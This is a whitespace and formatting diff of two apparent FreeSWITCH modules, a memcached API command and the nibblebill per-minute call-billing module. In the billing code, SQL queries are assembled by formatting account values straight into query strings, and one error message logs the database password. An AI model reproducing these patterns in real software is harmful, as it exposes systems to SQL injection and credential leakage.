@@ -55,7 +52,8 @@ static struct {
|
||||
|
||||
static switch_event_node_t *NODE = NULL;
|
||||
|
||||
static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
|
||||
static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
|
||||
switch_bool_t changed)
|
||||
{
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
memcached_server_st *memcached_server = NULL;
|
||||
@@ -64,23 +62,23 @@ static switch_status_t config_callback_memcached(switch_xml_config_item_t *data,
|
||||
const char *memcached_str = NULL;
|
||||
memcached_return rc;
|
||||
unsigned int servercount;
|
||||
|
||||
|
||||
if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && changed) {
|
||||
memcached_str = newvalue;
|
||||
|
||||
|
||||
/* initialize main ptr */
|
||||
memcached_server = memcached_servers_parse(memcached_str);
|
||||
if (!memcached_server) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to initialize memcached data structure (server_list).\n");
|
||||
switch_goto_status(SWITCH_STATUS_GENERR, end);
|
||||
}
|
||||
|
||||
|
||||
if ((servercount = memcached_server_list_count(memcached_server)) == 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No memcache servers defined. Server string: %s.\n", memcached_str);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%u servers defined (%s).\n", servercount, memcached_str);
|
||||
}
|
||||
|
||||
|
||||
/* setup memcached */
|
||||
newmemcached = memcached_create(NULL);
|
||||
if (!newmemcached) {
|
||||
@@ -93,16 +91,16 @@ static switch_status_t config_callback_memcached(switch_xml_config_item_t *data,
|
||||
switch_goto_status(SWITCH_STATUS_GENERR, end);
|
||||
}
|
||||
/* memcached_behavior_set(newmemcached, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1); */
|
||||
|
||||
|
||||
/* swap pointers */
|
||||
oldmemcached = globals.memcached;
|
||||
globals.memcached = newmemcached;
|
||||
newmemcached = NULL;
|
||||
}
|
||||
|
||||
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, end);
|
||||
|
||||
end:
|
||||
end:
|
||||
if (memcached_server) {
|
||||
memcached_server_list_free(memcached_server);
|
||||
}
|
||||
@@ -115,12 +113,13 @@ end:
|
||||
return status;
|
||||
}
|
||||
|
||||
static switch_xml_config_string_options_t config_opt_memcache_servers = {NULL, 0, NULL}; /* anything ok */
|
||||
static switch_xml_config_string_options_t config_opt_memcache_servers = { NULL, 0, NULL }; /* anything ok */
|
||||
|
||||
static switch_xml_config_item_t instructions[] = {
|
||||
/* parameter name type reloadable pointer default value options structure */
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "", config_callback_memcached, &config_opt_memcache_servers,
|
||||
"host,host:port,host", "List of memcached servers."),
|
||||
SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "",
|
||||
config_callback_memcached, &config_opt_memcache_servers,
|
||||
"host,host:port,host", "List of memcached servers."),
|
||||
SWITCH_CONFIG_ITEM_END()
|
||||
};
|
||||
|
||||
@@ -129,8 +128,8 @@ static switch_status_t do_config(switch_bool_t reload)
|
||||
if (switch_xml_config_parse_module_settings("memcache.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -154,42 +153,42 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
time_t expires = 0;
|
||||
uint32_t flags = 0;
|
||||
unsigned int server_count = 0;
|
||||
|
||||
|
||||
memcached_return rc;
|
||||
memcached_st *memcached = NULL;
|
||||
memcached_stat_st *stat = NULL;
|
||||
memcached_server_st *server_list;
|
||||
|
||||
|
||||
if (zstr(cmd)) {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
|
||||
mydata = strdup(cmd);
|
||||
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
if (argc < 1) {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
|
||||
/* clone memcached struct so we're thread safe */
|
||||
memcached = memcached_clone(NULL, globals.memcached);
|
||||
if (!memcached) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error cloning memcached object");
|
||||
stream->write_function(stream, "-ERR Error cloning memcached object\n");
|
||||
}
|
||||
|
||||
|
||||
subcmd = argv[0];
|
||||
|
||||
|
||||
if ((!strcasecmp(subcmd, "set") || !strcasecmp(subcmd, "replace") || !strcasecmp(subcmd, "add")) && argc > 2) {
|
||||
key = argv[1];
|
||||
val = argv[2];
|
||||
|
||||
if (argc > 3) {
|
||||
expires_str = argv[3];
|
||||
expires = (time_t)strtol(expires_str, NULL, 10);
|
||||
expires = (time_t) strtol(expires_str, NULL, 10);
|
||||
}
|
||||
if (argc > 4) {
|
||||
flags_str = argv[4];
|
||||
flags = (uint32_t)strtol(flags_str, NULL, 16);
|
||||
flags = (uint32_t) strtol(flags_str, NULL, 16);
|
||||
}
|
||||
if (!strcasecmp(subcmd, "set")) {
|
||||
rc = memcached_set(memcached, key, strlen(key), val, strlen(val), expires, flags);
|
||||
@@ -198,7 +197,7 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
} else if (!strcasecmp(subcmd, "add")) {
|
||||
rc = memcached_add(memcached, key, strlen(key), val, strlen(val), expires, flags);
|
||||
}
|
||||
|
||||
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
stream->write_function(stream, "+OK\n");
|
||||
} else {
|
||||
@@ -206,10 +205,10 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
}
|
||||
} else if (!strcasecmp(subcmd, "get") && argc > 1) {
|
||||
key = argv[1];
|
||||
|
||||
|
||||
val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
stream->write_function(stream, "%.*s", (int)string_length, val);
|
||||
stream->write_function(stream, "%.*s", (int) string_length, val);
|
||||
} else {
|
||||
switch_safe_free(val);
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
|
||||
@@ -217,7 +216,7 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
switch_safe_free(val);
|
||||
} else if (!strcasecmp(subcmd, "getflags") && argc > 1) {
|
||||
key = argv[1];
|
||||
|
||||
|
||||
val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
stream->write_function(stream, "%x", flags);
|
||||
@@ -234,20 +233,20 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
key = argv[1];
|
||||
|
||||
if (argc > 2) {
|
||||
offset = (unsigned int)strtol(argv[2], NULL, 10);
|
||||
offset = (unsigned int) strtol(argv[2], NULL, 10);
|
||||
svalue = argv[2];
|
||||
} else {
|
||||
svalue = "1";
|
||||
}
|
||||
if (argc > 3) {
|
||||
expires_str = argv[3];
|
||||
expires = (time_t)strtol(expires_str, NULL, 10);
|
||||
expires = (time_t) strtol(expires_str, NULL, 10);
|
||||
}
|
||||
if (argc > 4) {
|
||||
flags_str = argv[4];
|
||||
flags = (uint32_t)strtol(flags_str, NULL, 16);
|
||||
flags = (uint32_t) strtol(flags_str, NULL, 16);
|
||||
}
|
||||
|
||||
|
||||
if (!strcasecmp(subcmd, "increment")) {
|
||||
increment = SWITCH_TRUE;
|
||||
rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
|
||||
@@ -259,18 +258,20 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
/* ok, trying to incr / decr a value that doesn't exist yet.
|
||||
Try to add an appropriate initial value. If someone else beat
|
||||
us to it, then redo incr/decr. Otherwise we're good.
|
||||
*/
|
||||
*/
|
||||
rc = memcached_add(memcached, key, strlen(key), (increment) ? svalue : "0", strlen(svalue), expires, flags);
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
ivalue = (increment) ? offset : 0;
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key, offset);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key,
|
||||
offset);
|
||||
} else {
|
||||
if (increment) {
|
||||
rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
|
||||
} else {
|
||||
rc = memcached_decrement(memcached, key, strlen(key), offset, &ivalue);
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
|
||||
}
|
||||
}
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
@@ -282,7 +283,7 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
key = argv[1];
|
||||
if (argc > 2) {
|
||||
expires_str = argv[3];
|
||||
expires = (time_t)strtol(expires_str, NULL, 10);
|
||||
expires = (time_t) strtol(expires_str, NULL, 10);
|
||||
}
|
||||
rc = memcached_delete(memcached, key, strlen(key), expires);
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
@@ -293,7 +294,7 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
} else if (!strcasecmp(subcmd, "flush")) {
|
||||
if (argc > 1) {
|
||||
expires_str = argv[3];
|
||||
expires = (time_t)strtol(expires_str, NULL, 10);
|
||||
expires = (time_t) strtol(expires_str, NULL, 10);
|
||||
}
|
||||
rc = memcached_flush(memcached, expires);
|
||||
if (rc == MEMCACHED_SUCCESS) {
|
||||
@@ -310,7 +311,7 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
verbose = SWITCH_TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
stream->write_function(stream, "Lib version: %s\n", memcached_lib_version());
|
||||
stat = memcached_stat(memcached, NULL, &rc);
|
||||
if (rc != MEMCACHED_SUCCESS && rc != MEMCACHED_SOME_ERRORS) {
|
||||
@@ -320,13 +321,14 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
server_count = memcached_server_count(memcached);
|
||||
stream->write_function(stream, "Servers: %d\n", server_count);
|
||||
for (x = 0; x < server_count; x++) {
|
||||
stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]), memcached_server_port(memcached, server_list[x]));
|
||||
stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]),
|
||||
memcached_server_port(memcached, server_list[x]));
|
||||
if (verbose == SWITCH_TRUE) {
|
||||
char **list;
|
||||
char **ptr;
|
||||
char *value;
|
||||
memcached_return rc2;
|
||||
|
||||
|
||||
list = memcached_stat_get_keys(memcached, &stat[x], &rc);
|
||||
for (ptr = list; *ptr; ptr++) {
|
||||
value = memcached_stat_get_value(memcached, &stat[x], *ptr, &rc2);
|
||||
@@ -343,25 +345,26 @@ SWITCH_STANDARD_API(memcache_function)
|
||||
}
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
mcache_error:
|
||||
mcache_error:
|
||||
if (rc != MEMCACHED_NOTFOUND) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd, memcached_strerror(memcached, rc));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd,
|
||||
memcached_strerror(memcached, rc));
|
||||
}
|
||||
stream->write_function(stream, "-ERR %s\n", memcached_strerror(memcached, rc));
|
||||
goto done;
|
||||
|
||||
usage:
|
||||
|
||||
usage:
|
||||
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
if (memcached) {
|
||||
memcached_quit(memcached);
|
||||
memcached_free(memcached);
|
||||
}
|
||||
switch_safe_free(mydata);
|
||||
switch_safe_free(stat);
|
||||
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
@@ -375,12 +378,12 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_memcache_load)
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
|
||||
do_config(SWITCH_FALSE);
|
||||
|
||||
|
||||
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
|
||||
return SWITCH_STATUS_TERM;
|
||||
}
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "memcache", "Memcache API", memcache_function, "syntax");
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
@@ -397,9 +400,9 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_memcache_shutdown)
|
||||
if (globals.memcached) {
|
||||
memcached_free(globals.memcached);
|
||||
}
|
||||
|
||||
|
||||
switch_event_unbind(&NODE);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@@ -53,31 +53,28 @@
|
||||
static char SQL_LOOKUP[] = "SELECT %s FROM %s WHERE %s='%s'";
|
||||
static char SQL_SAVE[] = "UPDATE %s SET %s=%s-%f WHERE %s='%s'";
|
||||
|
||||
typedef struct
|
||||
{
|
||||
switch_time_t lastts; /* Last time we did any billing */
|
||||
float total; /* Total amount billed so far */
|
||||
typedef struct {
|
||||
switch_time_t lastts; /* Last time we did any billing */
|
||||
float total; /* Total amount billed so far */
|
||||
|
||||
switch_time_t pausets; /* Timestamp of when a pause action started. 0 if not paused */
|
||||
float bill_adjustments; /* Adjustments to make to the next billing, based on pause/resume events */
|
||||
switch_time_t pausets; /* Timestamp of when a pause action started. 0 if not paused */
|
||||
float bill_adjustments; /* Adjustments to make to the next billing, based on pause/resume events */
|
||||
|
||||
} nibble_data_t;
|
||||
|
||||
|
||||
typedef struct nibblebill_results
|
||||
{
|
||||
float balance;
|
||||
typedef struct nibblebill_results {
|
||||
float balance;
|
||||
|
||||
float percall_max; /* Overrides global on a per-user level */
|
||||
float lowbal_amt; /* ditto */
|
||||
float percall_max; /* Overrides global on a per-user level */
|
||||
float lowbal_amt; /* ditto */
|
||||
} nibblebill_results_t;
|
||||
|
||||
|
||||
/* Keep track of our config, event hooks and database connection variables, for this module only */
|
||||
static struct
|
||||
{
|
||||
static struct {
|
||||
/* Memory */
|
||||
switch_memory_pool_t *pool;
|
||||
switch_memory_pool_t *pool;
|
||||
|
||||
/* Event hooks */
|
||||
switch_event_node_t *node;
|
||||
@@ -86,15 +83,15 @@ static struct
|
||||
switch_mutex_t *mutex;
|
||||
|
||||
/* Global billing config options */
|
||||
float percall_max_amt; /* Per-call billing limit (safety check, for fraud) */
|
||||
char *percall_action; /* Exceeded length of per-call action */
|
||||
float lowbal_amt; /* When we warn them they are near depletion */
|
||||
char *lowbal_action; /* Low balance action */
|
||||
float nobal_amt; /* Minimum amount that must remain in the account */
|
||||
char *nobal_action; /* Drop action */
|
||||
float percall_max_amt; /* Per-call billing limit (safety check, for fraud) */
|
||||
char *percall_action; /* Exceeded length of per-call action */
|
||||
float lowbal_amt; /* When we warn them they are near depletion */
|
||||
char *lowbal_action; /* Low balance action */
|
||||
float nobal_amt; /* Minimum amount that must remain in the account */
|
||||
char *nobal_action; /* Drop action */
|
||||
|
||||
/* Other options */
|
||||
int global_heartbeat; /* Supervise and bill every X seconds, 0 means off */
|
||||
int global_heartbeat; /* Supervise and bill every X seconds, 0 means off */
|
||||
|
||||
/* Database settings */
|
||||
char *db_username;
|
||||
@@ -135,7 +132,7 @@ static int nibblebill_callback(void *pArg, int argc, char **argv, char **columnN
|
||||
{
|
||||
nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
|
||||
|
||||
cbt->balance = (float)atof(argv[0]);
|
||||
cbt->balance = (float) atof(argv[0]);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -145,13 +142,13 @@ static switch_status_t load_config(void)
|
||||
char *cf = "nibblebill.conf";
|
||||
switch_xml_t cfg, xml = NULL, param, settings;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
|
||||
status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
|
||||
status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
|
||||
goto setdefaults;
|
||||
}
|
||||
|
||||
|
||||
if ((settings = switch_xml_child(cfg, "settings"))) {
|
||||
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
|
||||
char *var = (char *) switch_xml_attr_soft(param, "name");
|
||||
@@ -172,23 +169,23 @@ static switch_status_t load_config(void)
|
||||
} else if (!strcasecmp(var, "percall_action")) {
|
||||
set_global_percall_action(val);
|
||||
} else if (!strcasecmp(var, "percall_max_amt")) {
|
||||
globals.percall_max_amt = (float)atof(val);
|
||||
globals.percall_max_amt = (float) atof(val);
|
||||
} else if (!strcasecmp(var, "lowbal_action")) {
|
||||
set_global_lowbal_action(val);
|
||||
} else if (!strcasecmp(var, "lowbal_amt")) {
|
||||
globals.lowbal_amt = (float)atof(val);
|
||||
globals.lowbal_amt = (float) atof(val);
|
||||
} else if (!strcasecmp(var, "nobal_action")) {
|
||||
set_global_nobal_action(val);
|
||||
} else if (!strcasecmp(var, "nobal_amt")) {
|
||||
globals.nobal_amt = (float)atof(val);
|
||||
globals.nobal_amt = (float) atof(val);
|
||||
} else if (!strcasecmp(var, "global_heartbeat")) {
|
||||
globals.global_heartbeat = atoi(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* Set defaults for any variables still not set */
|
||||
setdefaults:
|
||||
setdefaults:
|
||||
if (zstr(globals.db_username)) {
|
||||
set_global_db_username("bandwidth.com");
|
||||
}
|
||||
@@ -218,7 +215,7 @@ setdefaults:
|
||||
}
|
||||
|
||||
if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
|
||||
"Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n",
|
||||
globals.db_dsn, globals.db_username, globals.db_password);
|
||||
status = SWITCH_STATUS_FALSE;
|
||||
@@ -232,7 +229,7 @@ setdefaults:
|
||||
"ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n");
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
if (xml) {
|
||||
switch_xml_free(xml);
|
||||
}
|
||||
@@ -241,7 +238,7 @@ done:
|
||||
|
||||
void debug_event_handler(switch_event_t *event)
|
||||
{
|
||||
if (!event) {
|
||||
if (!event) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -305,8 +302,9 @@ static switch_status_t bill_event(float billamount, const char *billaccount)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
|
||||
switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account,
|
||||
billaccount);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
|
||||
|
||||
if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt, NULL) != SWITCH_ODBC_SUCCESS) {
|
||||
char *err_str;
|
||||
@@ -347,9 +345,9 @@ static float get_balance(const char *billaccount)
|
||||
/* Successfully retrieved! */
|
||||
balance = pdata.balance;
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
|
||||
}
|
||||
|
||||
|
||||
return balance;
|
||||
}
|
||||
|
||||
@@ -394,7 +392,8 @@ static switch_status_t do_billing(switch_core_session_t *session)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate, billaccount);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate,
|
||||
billaccount);
|
||||
|
||||
/* Get caller profile info from channel */
|
||||
profile = switch_channel_get_caller_profile(channel);
|
||||
@@ -409,10 +408,11 @@ static switch_status_t do_billing(switch_core_session_t *session)
|
||||
|
||||
/* See if this person has enough money left to continue the call */
|
||||
balance = get_balance(billaccount);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
|
||||
if (balance <= globals.nobal_amt) {
|
||||
/* Not enough money - reroute call to nobal location */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
|
||||
balance, globals.nobal_amt, billaccount);
|
||||
|
||||
transfer_call(session, globals.nobal_action);
|
||||
}
|
||||
@@ -443,7 +443,7 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
|
||||
memset(nibble_data, 0, sizeof(*nibble_data));
|
||||
|
||||
/* Setup new billing data (based on call answer time, in case this module started late with active calls) */
|
||||
nibble_data->lastts = profile->times->answered; /* Set the initial answer time to match when the call was really answered */
|
||||
nibble_data->lastts = profile->times->answered; /* Set the initial answer time to match when the call was really answered */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Beginning new billing on %s\n", uuid);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Last successful billing time was %s\n", date);
|
||||
@@ -452,13 +452,15 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
|
||||
switch_time_exp_lt(&tm, nibble_data->lastts);
|
||||
switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n", (int) ((ts - nibble_data->lastts) / 1000000), date);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n",
|
||||
(int) ((ts - nibble_data->lastts) / 1000000), date);
|
||||
|
||||
if ((ts - nibble_data->lastts) >= 0) {
|
||||
/* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
|
||||
billamount = ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
|
||||
billamount = ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount, uuid, nibble_data->total);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount,
|
||||
uuid, nibble_data->total);
|
||||
|
||||
/* DO ODBC BILLING HERE and reset counters if it's successful! */
|
||||
if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
|
||||
@@ -474,7 +476,8 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failed to log to database!\n");
|
||||
}
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n", uuid);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n",
|
||||
uuid);
|
||||
}
|
||||
|
||||
/* Update the last time we billed */
|
||||
@@ -488,7 +491,8 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
|
||||
balance = get_balance(billaccount);
|
||||
if (balance <= globals.nobal_amt) {
|
||||
/* Not enough money - reroute call to nobal location */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
|
||||
balance, globals.nobal_amt, billaccount);
|
||||
|
||||
/* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
|
||||
/* in nibblebill checking the call again in the routing process for an allowed balance! */
|
||||
@@ -496,7 +500,7 @@ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Compar
|
||||
nibblebill_pause(session);
|
||||
transfer_call(session, globals.nobal_action);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* Done changing - release lock */
|
||||
@@ -515,18 +519,18 @@ static void event_handler(switch_event_t *event)
|
||||
switch_core_session_t *session;
|
||||
char *uuid;
|
||||
|
||||
if (!event){
|
||||
if (!event) {
|
||||
/* We should never get here - it means an event came in without the event info */
|
||||
return;
|
||||
}
|
||||
|
||||
/* Make sure everything is sane */
|
||||
if (!(uuid = switch_event_get_header(event, "Unique-ID"))){
|
||||
if (!(uuid = switch_event_get_header(event, "Unique-ID"))) {
|
||||
/* Donde esta channel? */
|
||||
return;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name (event->event_id));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name(event->event_id));
|
||||
|
||||
/* Display debugging info */
|
||||
if (switch_event_get_header(event, "nibble_debug")) {
|
||||
@@ -594,12 +598,14 @@ static void nibblebill_resume(switch_core_session_t *session)
|
||||
nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
|
||||
|
||||
if (!nibble_data) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (nibble_data->pausets == 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not paused! (This is expected at hangup time)\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"Can't resume - channel is not paused! (This is expected at hangup time)\n");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -611,8 +617,9 @@ static void nibblebill_resume(switch_core_session_t *session)
|
||||
billrate = switch_channel_get_variable(channel, "nibble_rate");
|
||||
|
||||
/* Calculate how much was "lost" to billings during pause - we do this here because you never know when the billrate may change during a call */
|
||||
nibble_data->bill_adjustments += ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
|
||||
